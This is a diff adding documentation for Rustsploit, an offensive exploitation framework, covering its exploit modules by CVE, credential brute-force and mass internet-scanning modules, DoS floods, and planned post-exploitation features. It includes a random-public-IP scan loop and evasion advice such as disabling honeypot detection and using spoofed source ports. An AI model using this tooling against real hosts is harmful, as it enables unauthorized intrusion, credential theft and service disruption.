| Global Options | `setg`, `unsetg`, `show options` | Persistent key-value options across modules, saved to `~/.rustsploit/global_options.json` |
|
||||
| Credential Store | `creds` (add/search/delete/clear) | Track discovered credentials with JSON persistence |
|
||||
| Host/Service Tracking | `hosts`, `services`, `notes`, `workspace` | Workspace-based engagement data at `~/.rustsploit/workspaces/` |
|
||||
| Loot Management | `loot` (add/search) | Structured evidence collection with file storage |
|
||||
| Resource Scripts | `resource`, `makerc`, `-r` flag | Automation from script files, startup.rc auto-load |
|
||||
| Console Logging | `spool` (on/off) | Capture all console output to file |
|
||||
| Background Jobs | `run -j`, `jobs` (-k/clean) | Async module execution with cancellation |
|
||||
| Export/Reporting | `export json\|csv\|summary` | Export all engagement data to multiple formats |
|
||||
| Plugin System | `src/modules/plugins/` | Third-party module support with safety warnings |
|
||||
| Build System | `build.rs` | Now auto-detects `info()` and `check()` alongside `run()` |
|
||||
| Prompt System | `cfg_prompt_*` | Priority chain: custom_prompts > global_options > stdin |
|
||||
| API Endpoints | 15 new routes | Full CRUD for options, creds, hosts, services, loot, jobs, export |
|
||||
|
||||
### New Exploit Modules
|
||||
|
||||
| Module | CVE / Notes |
|
||||
|--------|-------------|
|
||||
| `exploits/mongo/mongobleed` | CVE-2025-14847 — MongoDB zlib memory disclosure, deep-scan mode |
|
||||
| `exploits/frameworks/nginx/nginx_pwner` | Nginx misconfiguration scanner — 10 checks |
|
||||
| `exploits/hikvision/hikvision_rce` | CVE-2021-36260 — command injection, SSH shell deploy |
|
||||
| `exploits/frameworks/n8n` | CVE-2025-68613 — workflow expression injection, 6 payloads |
|
||||
| `exploits/fortiweb` | CVE-2025-25257 — SQLi → webshell deploy |
|
||||
| `exploits/webapps/sharepoint` | CVE-2024-38094 — deserialization RCE |
|
||||
| `exploits/windows/dwm` | CVE-2026-20805 — Windows DWM info disclosure |
|
||||
| `exploits/crypto/geth` | CVE-2026-22862 — Go-Ethereum ecies panic DoS |
|
||||
| `exploits/frameworks/termix` | CVE-2026-22804 — stored XSS |
|
||||
| `exploits/network_infra/forticloud_sso` | CVE-2026-24858 — auth bypass |
|
||||
| `exploits/routers/ruijie/*` | 7 modules — RCE, Auth Bypass, SSRF |
|
||||
| `exploits/routers/tp_link_vigi` | CVE-2026-1457 — authenticated RCE |
|
||||
| `exploits/telnet/cve_2026_24061` | GNU inetutils-telnetd auth bypass via `NEW_ENVIRON` |
|
||||
|
||||
### New Credential Modules
|
||||
|
||||
| Module | Notes |
|
||||
|--------|-------|
|
||||
| `creds/generic/telnet_hose` | Mass internet Telnet scanner — 500 workers, disk-based state, 6-second timeout |
|
||||
|
||||
### Framework & Core Improvements
|
||||
|
||||
- **Proxy system removed** — No built-in proxy support. Use a system-level VPN (e.g., Mullvad) before launching Rustsploit.
|
||||
- **Mass-scan standardization** — All mass-scan modules accept `0.0.0.0`, `0.0.0.0/0`, or `random` targets with consistent `EXCLUDED_RANGES` enforcement.
|
||||
- **Stability** — Removed all `unwrap()` and `unwrap_or_default()` calls from critical paths.
|
||||
- **API worker threading** — Fixed with `spawn_blocking`, consolidated validation logic.
|
||||
- **Telnet bruteforce refactor** — DNS resolved once (not per-attempt), `tokio::sync::Semaphore`, state machine (`TelnetState` enum), `BytesMut` buffer management.
|
||||
- **Telnet hose** — password-only server detection (skips username prompt when server sends password prompt in banner).
|
||||
|
||||
### Dependency Upgrades
|
||||
|
||||
| Crate | Change |
|
||||
|-------|--------|
|
||||
| `suppaftp` v7 | Imports updated to `suppaftp::tokio::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector}` |
|
||||
| `reqwest` v0.13 | Removed `.query()` / `.form()` helpers — manually constructed in 6 modules |
|
||||
| `rustls` v0.23 | `ServerName` import updated to `rustls::pki_types::ServerName`; deprecated `with_safe_defaults()` removed |
|
||||
| `hickory-client` v0.25 | `AsyncClient` → `Client`; `UdpClientStream` rewritten to builder pattern + `TokioRuntimeProvider` |
|
||||
|
||||
### utils.rs Improvements
|
||||
|
||||
- Config-aware prompt system (`cfg_prompt_required`, `cfg_prompt_default`, `cfg_prompt_yes_no`, `cfg_prompt_port`, `cfg_prompt_int_range`, `cfg_prompt_existing_file`, `cfg_prompt_output_file`, `cfg_prompt_wordlist`)
|
||||
- `read_safe_input` — centralizes length enforcement, null-byte stripping, and control character filtering
|
||||
- All prompt helpers updated to use `read_safe_input`
|
||||
- Payload-safe mode: only `\0` is stripped; all other characters pass through as literal text
|
||||
@@ -0,0 +1,112 @@
|
||||
# Contributing
|
||||
|
||||
Contributions are welcome — bug reports, new modules, framework improvements, and wordlist additions are all appreciated.
|
||||
|
||||
---
|
||||
|
||||
## Workflow
|
||||
|
||||
1. **Fork** the repository and create a branch from `main`
|
||||
2. **Add your module** under the appropriate category in `src/modules/`
|
||||
3. **Register it** — add `pub mod your_module;` to the sibling `mod.rs`
|
||||
4. **Run checks:**
|
||||
```bash
|
||||
cargo fmt
|
||||
cargo check
|
||||
cargo test
|
||||
```
|
||||
5. **Open a PR** — describe what the module does, the CVE (if applicable), and how to test it
|
||||
|
||||
---
|
||||
|
||||
## Module Placement
|
||||
|
||||
| Type | Path |
|
||||
|------|------|
|
||||
| Exploit | `src/modules/exploits/<vendor_or_category>/` |
|
||||
| Scanner | `src/modules/scanners/` |
|
||||
| Credential | `src/modules/creds/generic/` or `creds/<vendor>/` |
|
||||
| Plugin | `src/modules/plugins/` |
|
||||
|
||||
Use subfolders for vendor families (e.g., `exploits/cisco/`, `exploits/cameras/`).
|
||||
|
||||
### Recommended: Add Module Metadata
|
||||
|
||||
Consider adding `info()` and/or `check()` functions to your module:
|
||||
|
||||
```rust
|
||||
use crate::module_info::{ModuleInfo, ModuleRank, CheckResult};
|
||||
|
||||
pub fn info() -> ModuleInfo {
|
||||
ModuleInfo {
|
||||
name: "My Module".to_string(),
|
||||
description: "What this module does.".to_string(),
|
||||
authors: vec!["Your Name".to_string()],
|
||||
references: vec!["CVE-XXXX-YYYY".to_string()],
|
||||
disclosure_date: Some("2025-01-15".to_string()),
|
||||
rank: ModuleRank::Good,
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn check(target: &str) -> CheckResult {
|
||||
// Non-destructive verification only
|
||||
CheckResult::Unknown("Not implemented".to_string())
|
||||
}
|
||||
```
|
||||
|
||||
### Auto-Store Findings
|
||||
|
||||
If your module discovers credentials, hosts, or services, use the framework helpers:
|
||||
|
||||
```rust
|
||||
crate::cred_store::store_credential(host, port, "ssh", user, pass,
|
||||
crate::cred_store::CredType::Password, "my_module");
|
||||
crate::workspace::track_host(ip, Some("hostname"), None);
|
||||
crate::workspace::track_service(ip, 22, "tcp", "ssh", Some("OpenSSH 8.9"));
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Code Rules
|
||||
|
||||
These rules are enforced across the entire codebase:
|
||||
|
||||
- **No `unsafe` blocks.** Do not use `unsafe` Rust anywhere in this codebase.
|
||||
- **No dead code.** All code must be intentional and used. Do not leave unused functions, imports, or variables.
|
||||
- **All prompts must use `cfg_prompt_*()` variants** (from `src/utils/prompt.rs`), not raw `prompt_*()` functions. The `cfg_prompt_*` functions check API custom_prompts and global options before falling back to interactive stdin, which is required for API compatibility. Using raw prompt functions will cause modules to block when called via the API.
|
||||
|
||||
## Code Style
|
||||
|
||||
- Run `cargo fmt` — no manual formatting required
|
||||
- Use `[+]` / `[-]` / `[!]` / `[*]` prefixes for output (`.green()` / `.red()` / `.yellow()` / `.cyan()`)
|
||||
- Keep output concise and actionable
|
||||
- Document CVE IDs and affected products in comments and output
|
||||
- No `unwrap()` or `unwrap_or_default()` in critical paths — use `?` with `anyhow::Context`
|
||||
- All targets pass through `crate::utils::normalize_target` — no custom normalization
|
||||
|
||||
---
|
||||
|
||||
## Mass-Scan Modules
|
||||
|
||||
If adding a module with 0.0.0.0/0 support:
|
||||
- Copy the `EXCLUDED_RANGES` pattern from an existing mass-scan module
|
||||
- Disable honeypot detection in scan-loop mode
|
||||
- Default to a sane concurrency limit (mention it in output)
|
||||
|
||||
---
|
||||
|
||||
## Wordlists
|
||||
|
||||
- Store under `lists/` and document in `lists/readme.md`
|
||||
- Prefer Seclists derivations or well-known public sources
|
||||
- Keep file sizes reasonable — large lists should support streaming
|
||||
|
||||
---
|
||||
|
||||
## Bug Reports & Ideas
|
||||
|
||||
Open a GitHub issue or reach out with PoCs. Feature requests and module ideas are appreciated — please open a discussion before large refactors.
|
||||
|
||||
---
|
||||
|
||||
> ⚠️ All contributions must target authorized security testing scenarios. Commit messages and module descriptions must reflect controlled research usage.
|
||||
@@ -0,0 +1,179 @@
|
||||
# Credential Modules Guide
|
||||
|
||||
Best practices for writing and extending brute-force / credential-checking modules.
|
||||
|
||||
---
|
||||
|
||||
## Common Prompts
|
||||
|
||||
Credential modules should interactively prompt for:
|
||||
|
||||
- Port number
|
||||
- Username wordlist path
|
||||
- Password wordlist path
|
||||
- Concurrency limit (threads / semaphore slots)
|
||||
- Stop-on-success toggle
|
||||
- Output file path
|
||||
- Verbose logging toggle
|
||||
|
||||
Use the shared `cfg_prompt_*` helpers from `crate::utils`, which respect the priority chain (API custom_prompts > global options > interactive stdin):
|
||||
```rust
|
||||
use crate::utils::{cfg_prompt_required, cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_port};
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Input Handling
|
||||
|
||||
- **Trim** wordlist entries and skip blank lines
|
||||
- **Early exit** if a wordlist is empty
|
||||
- **Validate paths** — no `..`, use `canonicalize()`
|
||||
- **Stream large files** — for password files >150 MB, use streaming mode (see RDP module)
|
||||
|
||||
---
|
||||
|
||||
## Concurrency Model
|
||||
|
||||
All bruteforce modules use the shared engine (`crate::modules::creds::utils`):
|
||||
|
||||
| Function | Use Case |
|
||||
|----------|----------|
|
||||
| `run_bruteforce()` | Single-target credential testing with concurrency, progress, retry |
|
||||
| `run_subnet_bruteforce()` | CIDR subnet scanning with per-host credential testing |
|
||||
| `run_mass_scan()` | Random/file/CIDR mass scanning with lightweight probes |
|
||||
| `generate_combos()` | Generate user/password pairs (combo or linear mode) |
|
||||
|
||||
Avoid custom concurrency — always use the engine which handles semaphores, progress reporting, lockout detection, and credential storage.
|
||||
|
||||
---
|
||||
|
||||
## IPv6 Support
|
||||
|
||||
Use `format_addr` to wrap IPv6 addresses in brackets and handle port suffixes:
|
||||
|
||||
```rust
|
||||
// Good
|
||||
let addr = format_addr(&ip, port); // "[::1]:22"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Error Classification
|
||||
|
||||
Implement specific error types for better debugging and reporting:
|
||||
|
||||
```rust
|
||||
enum CredsError {
|
||||
ConnectionFailed(String),
|
||||
AuthenticationFailed,
|
||||
CertificateError,
|
||||
Timeout,
|
||||
NetworkError(String),
|
||||
ProtocolError(String),
|
||||
ToolNotFound,
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## TLS / STARTTLS
|
||||
|
||||
Accept invalid certificates for offensive tooling convenience (e.g., `danger_accept_invalid_certs(true)` in reqwest / native-tls), but document this clearly in module comments and output.
|
||||
|
||||
---
|
||||
|
||||
## Result Persistence
|
||||
|
||||
Offer to write `host -> user:pass` pairs to a local file (default `./results.txt`):
|
||||
|
||||
```rust
|
||||
if let Some(ref path) = output_file {
|
||||
let line = format!("{} -> {}:{}\n", target, user, pass);
|
||||
fs::OpenOptions::new().create(true).append(true).open(path)?.write_all(line.as_bytes())?;
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Available Credential Modules (28 total)
|
||||
|
||||
### Remote Access Protocols
|
||||
|
||||
| Module | Port(s) | Auth Method | Features |
|
||||
|--------|---------|-------------|----------|
|
||||
| `ssh_bruteforce` | 22 | libssh2 password auth | Default creds, combo mode, streaming wordlists |
|
||||
| `ssh_spray` | 22 | Password spray | One password across many targets |
|
||||
| `ssh_user_enum` | 22 | Timing attack | CVE-2018-15473 style user enumeration |
|
||||
| `telnet_bruteforce` | 23, 2323 | IAC negotiation + prompt detection | Multi-port, 55+ IoT defaults, shell verification, streaming |
|
||||
| `telnet_hose` | 23, 2323, 23231 | Default creds mass scan | 500 concurrent, multi-port per host |
|
||||
| `rdp_bruteforce` | 3389 | Native CredSSP/NTLM | NLA/TLS/RDP/Negotiate security levels |
|
||||
| `vnc_bruteforce` | 5900 | DES challenge-response (RFB) | Password-only, bit-reversed DES key |
|
||||
| `ftp_bruteforce` | 21 | FTP/FTPS LOGIN | TLS fallback, error classification |
|
||||
| `ftp_anonymous` | 21 | Anonymous login check | FTPS fallback, LIST verification |
|
||||
|
||||
### Email Protocols
|
||||
|
||||
| Module | Port(s) | Auth Method | Features |
|
||||
|--------|---------|-------------|----------|
|
||||
| `smtp_bruteforce` | 25, 465, 587 | SMTP AUTH (PLAIN/LOGIN/CRAM-MD5) | STARTTLS support |
|
||||
| `pop3_bruteforce` | 110, 995 | POP3 USER/PASS | TLS/STLS support |
|
||||
| `imap_bruteforce` | 143, 993 | IMAP LOGIN | IMAPS (implicit TLS), RFC 3501 escaping |
|
||||
|
||||
### Database Protocols
|
||||
|
||||
| Module | Port(s) | Auth Method | Features |
|
||||
|--------|---------|-------------|----------|
|
||||
| `mysql_bruteforce` | 3306 | Native wire protocol (SHA1 handshake) | HandshakeV10 parsing, salt extraction |
|
||||
| `postgres_bruteforce` | 5432 | MD5 or cleartext auth | Wire protocol, `md5(md5(pass+user)+salt)` |
|
||||
| `redis_bruteforce` | 6379 | AUTH command (legacy + ACL) | Redis 6+ ACL support, INFO version detection |
|
||||
| `elasticsearch_bruteforce` | 9200 | HTTP Basic Auth | Cluster detection, open-access check |
|
||||
| `couchdb_bruteforce` | 5984 | Session auth + Basic fallback | `/_session` POST, `/_all_dbs` verification |
|
||||
| `memcached_bruteforce` | 11211 | SASL PLAIN (binary protocol) | Open memcached detection, version check |
|
||||
|
||||
### Web Protocols
|
||||
|
||||
| Module | Port(s) | Auth Method | Features |
|
||||
|--------|---------|-------------|----------|
|
||||
| `http_basic_bruteforce` | 80, 443 | HTTP Basic Authentication | HTTPS, custom paths, redirect detection |
|
||||
| `fortinet_bruteforce` | 443 | FortiOS web login | CSRF token extraction, realm support |
|
||||
|
||||
### Network Management
|
||||
|
||||
| Module | Port(s) | Auth Method | Features |
|
||||
|--------|---------|-------------|----------|
|
||||
| `snmp_bruteforce` | 161 (UDP) | SNMPv1/v2c community strings | Custom SNMP packet, BER parsing |
|
||||
|
||||
### IoT / Messaging
|
||||
|
||||
| Module | Port(s) | Auth Method | Features |
|
||||
|--------|---------|-------------|----------|
|
||||
| `mqtt_bruteforce` | 1883, 8883 | MQTT 3.1.1 CONNECT | TLS/SSL, anonymous detection, client ID |
|
||||
| `rtsp_bruteforce` | 554 | RTSP Basic Auth | Path brute-forcing, custom headers |
|
||||
|
||||
### VPN
|
||||
|
||||
| Module | Port(s) | Auth Method | Features |
|
||||
|--------|---------|-------------|----------|
|
||||
| `l2tp_bruteforce` | 1701 (UDP) | L2TP/CHAP handshake | Full L2TP session + PPP CHAP |
|
||||
|
||||
### Utility
|
||||
|
||||
| Module | Description |
|
||||
|--------|-------------|
|
||||
| `enablebruteforce` | Raise file descriptor limits (ulimit) for high-concurrency scans |
|
||||
| `sample_cred_check` | Template/example credential check module |
|
||||
| `acti_camera_default` | Multi-protocol default credential check (FTP/SSH/Telnet/HTTP) |
|
||||
| `camxploit` | Mass camera scanner with port + path + credential testing |
|
||||
|
||||
---
|
||||
|
||||
## Mass Scanning Support
|
||||
|
||||
All 28 credential modules support mass scanning via the framework's multi-target dispatcher. The framework automatically handles:
|
||||
|
||||
- **Random targets** (`random`, `0.0.0.0/0`) — generates random public IPs with `EXCLUDED_RANGES` enforcement
|
||||
- **CIDR ranges** (e.g., `192.168.1.0/24`) — expands and iterates all hosts
|
||||
- **File-based targets** — reads one target per line from a file path
|
||||
- **Comma-separated targets** — splits and runs against each target
|
||||
|
||||
Modules use `is_mass_scan_target()` to detect mass-scan mode and `run_mass_scan()` to delegate to the framework dispatcher. This is handled at the framework level, so individual modules do not need custom mass-scan loops.
|
||||
@@ -0,0 +1,61 @@
|
||||
# Credits
|
||||
|
||||
---
|
||||
|
||||
## Project
|
||||
|
||||
| Role | Name |
|
||||
|------|------|
|
||||
| Project Lead | s-b-repo |
|
||||
| Language | 100% Rust |
|
||||
|
||||
---
|
||||
|
||||
## Inspiration
|
||||
|
||||
- [RouterSploit](https://github.com/threat9/routersploit) — modular embedded exploitation framework
|
||||
- [Metasploit Framework](https://github.com/rapid7/metasploit-framework) — industry-standard exploitation framework
|
||||
- [pwntools](https://github.com/Gallopsled/pwntools) — CTF exploit library
|
||||
|
||||
---
|
||||
|
||||
## Wordlists
|
||||
|
||||
- [SecLists](https://github.com/danielmiessler/SecLists) — the majority of bundled wordlists
|
||||
- Custom additions in `lists/` — documented in `lists/readme.md`
|
||||
|
||||
---
|
||||
|
||||
## Key Dependencies
|
||||
|
||||
| Crate | Purpose |
|
||||
|-------|---------|
|
||||
| `tokio` | Async runtime |
|
||||
| `reqwest` | HTTP client |
|
||||
| `clap` | CLI argument parsing |
|
||||
| `anyhow` | Error handling |
|
||||
| `colored` | Terminal color output |
|
||||
| `axum` | REST API framework |
|
||||
| `suppaftp` | FTP/FTPS (v7, tokio async) |
|
||||
| `hickory-client` | DNS (v0.25, builder pattern) |
|
||||
| `ipnetwork` | CIDR range matching |
|
||||
| `rustls` | TLS (v0.23+) |
|
||||
| `bytes` | Buffer management (`BytesMut`) |
|
||||
| `subtle` | Constant-time API key comparison |
|
||||
| `strsim` | Fuzzy module name matching (Levenshtein) |
|
||||
| `rustyline` | Interactive shell line editing |
|
||||
| `serde` / `serde_json` | Serialization / JSON persistence |
|
||||
| `ssh2` | SSH protocol support |
|
||||
| `des` / `aes` / `cipher` | Cryptographic primitives |
|
||||
| `chrono` | Date/time handling |
|
||||
| `uuid` | Unique identifier generation |
|
||||
|
||||
---
|
||||
|
||||
## Legal
|
||||
|
||||
> ⚠️ Rustsploit is intended for **authorized security testing and research only**.
|
||||
> Obtain explicit written permission before targeting any system you do not own.
|
||||
> The authors accept no liability for misuse.
|
||||
|
||||
Licensed under the terms in [LICENSE](../LICENSE).
|
||||
@@ -0,0 +1,2 @@
|
||||
# Donation
|
||||
|
||||
@@ -0,0 +1,135 @@
|
||||
# Exploit Modules Guide
|
||||
|
||||
Best practices for writing and extending exploit modules in Rustsploit.
|
||||
|
||||
---
|
||||
|
||||
## CVE Referencing
|
||||
|
||||
Always mention CVE IDs, vendor names, and affected products in:
|
||||
- The module file docstring / top-level comments
|
||||
- Output messages (e.g., `[*] Testing CVE-2025-14847 on {}`, target)
|
||||
- The [Module Catalog](Module-Catalog.md)
|
||||
|
||||
---
|
||||
|
||||
## Response Validation
|
||||
|
||||
Validate server responses before declaring success — false positives hurt credibility:
|
||||
|
||||
```rust
|
||||
if response.status() == 200 && body.contains("expected_indicator") {
|
||||
println!("{} Confirmed vulnerable: {}", "[+]".green(), target);
|
||||
} else {
|
||||
println!("{} Not vulnerable or patched", "[-]".red());
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Artifact Handling
|
||||
|
||||
If the exploit downloads or writes files (e.g., memory dumps, webshells):
|
||||
- Store in the current working directory or a named subfolder
|
||||
- Name files descriptively: `mongobleed_results_{target}.txt`, `nginx_pwner_results_{target}.txt`
|
||||
- Inform the operator where output was written
|
||||
|
||||
---
|
||||
|
||||
## Clean-Up Instructions
|
||||
|
||||
If the exploit adds credentials or accounts (e.g., camera modules), document:
|
||||
- The impact of the change
|
||||
- How to revert (e.g., default creds to restore, commands to run)
|
||||
|
||||
---
|
||||
|
||||
## Interactive Options
|
||||
|
||||
Use `cfg_prompt_*` helpers from `crate::utils` if end-user input is needed. These respect the priority chain (API custom_prompts > global options > interactive stdin), ensuring modules work in shell, API, and CLI modes:
|
||||
|
||||
```rust
|
||||
use crate::utils::{cfg_prompt_default, cfg_prompt_yes_no};
|
||||
|
||||
let command = cfg_prompt_default("command", "Command to execute", "id").await?;
|
||||
let deploy = cfg_prompt_yes_no("deploy_webshell", "Deploy webshell?", true).await?;
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Mass-Scan Support
|
||||
|
||||
For modules supporting internet-wide scanning (target `0.0.0.0/0`):
|
||||
|
||||
```rust
|
||||
if target == "0.0.0.0" || target == "0.0.0.0/0" || target == "random" {
|
||||
loop {
|
||||
let ip = generate_random_public_ip();
|
||||
if !is_excluded_ip(ip) {
|
||||
execute(ip.to_string().as_str()).await.ok();
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
See `EXCLUDED_RANGES` documentation in [Security & Validation](Security-Validation.md).
|
||||
|
||||
Disable honeypot detection in mass-scan mode to avoid interactive prompts blocking the scan loop.
|
||||
|
||||
---
|
||||
|
||||
## Module-Specific Notes
|
||||
|
||||
### Hikvision RCE (CVE-2021-36260)
|
||||
- **Safe check** — writes/reads a test file to verify exploitability
|
||||
- **Unsafe reboot** — reboots the device to confirm (destructive)
|
||||
- **Command exec** — output retrieved, supports blind mode
|
||||
- **SSH shell** — deploys Dropbear SSH on port 1337
|
||||
|
||||
### MongoBleed (CVE-2025-14847)
|
||||
- Sends malicious compressed packet with inflated `uncompressedSize`
|
||||
- Parses error response to extract leaked memory chunks (field names / types)
|
||||
- Prints any leaked strings (potential credentials / data) to console
|
||||
- Includes deep-scan mode for extended analysis
|
||||
|
||||
### n8n RCE (CVE-2025-68613)
|
||||
- Authenticates via `/rest/login` (token / cookie-based)
|
||||
- Creates a malicious workflow with expression injection payload
|
||||
- Triggers via `/rest/workflows/{id}/run`
|
||||
- Cleans up test workflow after execution
|
||||
- **6 payload types:** Info, Command, Environment, Read File, Write File, Reverse Shell
|
||||
|
||||
### FortiWeb SQLi → RCE (CVE-2025-25257)
|
||||
- SQL injection via `Authorization: Bearer ';{injection}` header
|
||||
- Writes webshell via `SELECT INTO OUTFILE`
|
||||
- Uses `.pth` trigger for Python `chmod` execution
|
||||
- Interactive modes: deploy webshell, execute command, test SQLi only
|
||||
|
||||
### NginxPwner
|
||||
- **10 checks:** version disclosure, CRLF injection, PURGE method, variable leakage, merge slashes, header bypass / IP spoofing, alias traversal, `X-Accel-Redirect` bypass, PHP detection, CVE-2017-7529 integer overflow
|
||||
- Results saved to `nginx_pwner_results_{target}.txt`
|
||||
- Prints reminders for manual checks (Redis, CORS, request smuggling)
|
||||
|
||||
### DoS / Stress Testing
|
||||
|
||||
> ⚠️ Authorized testing only. These modules can cause service disruption.
|
||||
|
||||
| Module | Notes |
|
||||
|--------|-------|
|
||||
| `null_syn_exhaustion` | Raw socket, IP spoofing, XorShift128+ RNG, configurable PPS, >1M PPS capable |
|
||||
| `connection_exhaustion_flood` | FD-bounded semaphore, supports infinite mode with graceful Ctrl+C |
|
||||
| `tcp_connection_flood` | DNS pre-resolved, high-concurrency handshake stress, infinite mode |
|
||||
| `http2_rapid_reset` | CVE-2023-44487 — HTTP/2 stream reset flood |
|
||||
|
||||
---
|
||||
|
||||
## Framework-Level Multi-Target Support
|
||||
|
||||
All exploit modules automatically benefit from the framework's multi-target dispatcher. There is no need to implement target iteration inside individual modules. The framework handles:
|
||||
|
||||
- **Comma-separated targets** — `192.168.1.1,192.168.1.2,192.168.1.3`
|
||||
- **CIDR ranges** — `192.168.1.0/24` expands to all hosts in the subnet
|
||||
- **File-based targets** — pass a file path containing one target per line
|
||||
- **Random targets** — `random` or `0.0.0.0/0` generates random public IPs with `EXCLUDED_RANGES` enforcement
|
||||
|
||||
The dispatcher calls the module's `run()` function once per resolved target. Modules only need to handle a single target string.
|
||||
@@ -0,0 +1,59 @@
|
||||
# Future Features Roadmap
|
||||
|
||||
Rustsploit is under active development. Below are some of the major features planned for upcoming releases.
|
||||
|
||||
## Recently Completed
|
||||
|
||||
### 3rd-Party Plugin System
|
||||
The `plugins/` directory is now fully operational. Drop `.rs` files into `src/modules/plugins/` with the standard `pub async fn run(target: &str)` signature and they are auto-discovered at build time. A safety warning is displayed at shell and API startup when plugins are loaded.
|
||||
|
||||
### Framework Services (Metasploit Parity)
|
||||
The following Metasploit-inspired features have been implemented:
|
||||
- **Module Metadata** (`info` command) — CVE, author, rank, description per module
|
||||
- **Vulnerability Check** (`check` command) — Non-destructive verification
|
||||
- **Global Options** (`setg`/`unsetg`) — Persistent options across modules
|
||||
- **Credential Store** (`creds`) — Track discovered credentials with JSON persistence
|
||||
- **Host/Service Tracking** (`hosts`/`services`) — Workspace-based engagement data
|
||||
- **Loot Management** (`loot`) — Structured evidence collection
|
||||
- **Resource Scripts** (`resource`) — Automation from script files
|
||||
- **Console Logging** (`spool`) — Capture all output to file
|
||||
- **Background Jobs** (`run -j`/`jobs`) — Async module execution
|
||||
- **Export/Reporting** (`export`) — JSON, CSV, and summary reports
|
||||
|
||||
---
|
||||
|
||||
## Planned Features
|
||||
|
||||
### 1. Instant Configuration Loading
|
||||
Currently, modules are configured interactively or via API JSON payloads. We plan to add support for instantly loading configuration profiles from disk.
|
||||
- **Goal:** Allow users to save their favorite scan parameters (wordlists, threads, timeouts) to a `.toml` or `.yaml` file and load them instantly.
|
||||
- **Usage Idea:** `run exploits/tomcat_rce --config profiles/aggressive.toml` or `set config profiles/aggressive.toml` in the shell.
|
||||
|
||||
### 2. Dynamic Source Port Modification
|
||||
While we currently support advanced networking like IP spoofing in specific flood modules, we plan to bring dynamic source port control to the framework level.
|
||||
- **Goal:** Allow scanners and exploit modules to bind to specific source ports (e.g., source port 53) to bypass poorly configured firewalls that trust traffic originating from privileged ports.
|
||||
- **Implementation:** Extending the global configuration and socket helpers to accept an optional `bind_port` parameter.
|
||||
|
||||
### 3. Session/Handler Management
|
||||
Add Metasploit-style session management with reverse/bind shell handlers.
|
||||
- **Goal:** Multi/handler listener, session listing/interaction, background sessions.
|
||||
- **Implementation:** Listener framework with TCP/HTTP handlers, session tracking with numeric IDs.
|
||||
|
||||
### 4. Post-Exploitation Modules
|
||||
Add a `post/` module category for post-exploitation tasks.
|
||||
- **Goal:** Privilege escalation checks, persistence mechanisms, credential extraction, lateral movement.
|
||||
- **Implementation:** New module category auto-discovered by build.rs.
|
||||
|
||||
### 5. Network Pivoting
|
||||
Route traffic through compromised hosts.
|
||||
- **Goal:** SOCKS proxy, port forwarding, autoroute through sessions.
|
||||
- **Implementation:** Requires session management (Feature 3) first.
|
||||
|
||||
### 6. Nmap Integration
|
||||
Import scan results directly into the workspace.
|
||||
- **Goal:** `db_import` command for Nmap XML, populate hosts/services automatically.
|
||||
- **Implementation:** Parse Nmap XML output and feed into workspace.
|
||||
|
||||
---
|
||||
|
||||
*If you'd like to contribute to any of these features, please check out the [Contributing Guide](Contributing.md) and open a pull request!*
|
||||
@@ -0,0 +1,145 @@
|
||||
# Getting Started
|
||||
|
||||
Rustsploit is a modular offensive tooling framework for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. It ships an interactive shell, a CLI runner, a WebSocket API server with post-quantum encryption, and an ever-growing library of exploits, scanners, and credential modules.
|
||||
|
||||
---
|
||||
|
||||
## Requirements
|
||||
|
||||
### System Dependencies
|
||||
|
||||
**Debian / Ubuntu / Kali:**
|
||||
```bash
|
||||
sudo apt update && sudo apt install -y build-essential pkg-config libssl-dev libdbus-1-dev cmake
|
||||
```
|
||||
|
||||
**Arch Linux:**
|
||||
```bash
|
||||
sudo pacman -S base-devel pkgconf openssl dbus cmake
|
||||
```
|
||||
|
||||
**Gentoo:**
|
||||
```bash
|
||||
sudo emerge dev-libs/openssl dev-util/pkgconf sys-apps/dbus dev-build/cmake
|
||||
```
|
||||
|
||||
**Fedora / RHEL:**
|
||||
```bash
|
||||
sudo dnf install gcc make pkgconf-pkg-config openssl-devel dbus-devel cmake
|
||||
```
|
||||
|
||||
### Rust & Cargo
|
||||
|
||||
```bash
|
||||
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
|
||||
source $HOME/.cargo/env
|
||||
```
|
||||
|
||||
> Rust 1.85+ is required (edition 2024). Run `rustup update` to stay current.
|
||||
|
||||
---
|
||||
|
||||
## Clone & Build
|
||||
|
||||
```bash
|
||||
git clone https://github.com/s-b-repo/rustsploit.git
|
||||
cd rustsploit
|
||||
cargo build
|
||||
```
|
||||
|
||||
For a release-optimized binary:
|
||||
```bash
|
||||
cargo build --release
|
||||
# Binary written to target/release/rustsploit
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Run
|
||||
|
||||
### Interactive Shell
|
||||
```bash
|
||||
cargo run
|
||||
```
|
||||
|
||||
### CLI (non-interactive)
|
||||
```bash
|
||||
cargo run -- -m exploits/heartbleed -t 192.168.1.1
|
||||
```
|
||||
|
||||
See [CLI Reference](CLI-Reference.md) for all flags.
|
||||
|
||||
### API Server
|
||||
```bash
|
||||
cargo run -- --api
|
||||
```
|
||||
|
||||
This starts the PQ-encrypted API server on port 8080. On first run it generates a host key pair at `~/.rustsploit/pq_host_key` and prints its fingerprint. Clients must be listed in `~/.rustsploit/pq_authorized_keys` to connect. No TLS or API keys — authentication uses SSH-style post-quantum identity keys. See [API Server](API-Server.md) and [API Usage Examples](API-Usage-Examples.md) for details.
|
||||
|
||||
---
|
||||
|
||||
## Docker Deployment
|
||||
|
||||
Rustsploit ships a provisioning script that builds and launches the API inside Docker.
|
||||
|
||||
### Requirements
|
||||
|
||||
- Docker Engine 24+ (or Docker Desktop)
|
||||
- Docker Compose plugin (`docker compose`) or legacy `docker-compose`
|
||||
- Python 3.8+
|
||||
|
||||
### Interactive Setup
|
||||
|
||||
```bash
|
||||
python3 scripts/setup_docker.py
|
||||
```
|
||||
|
||||
The helper will:
|
||||
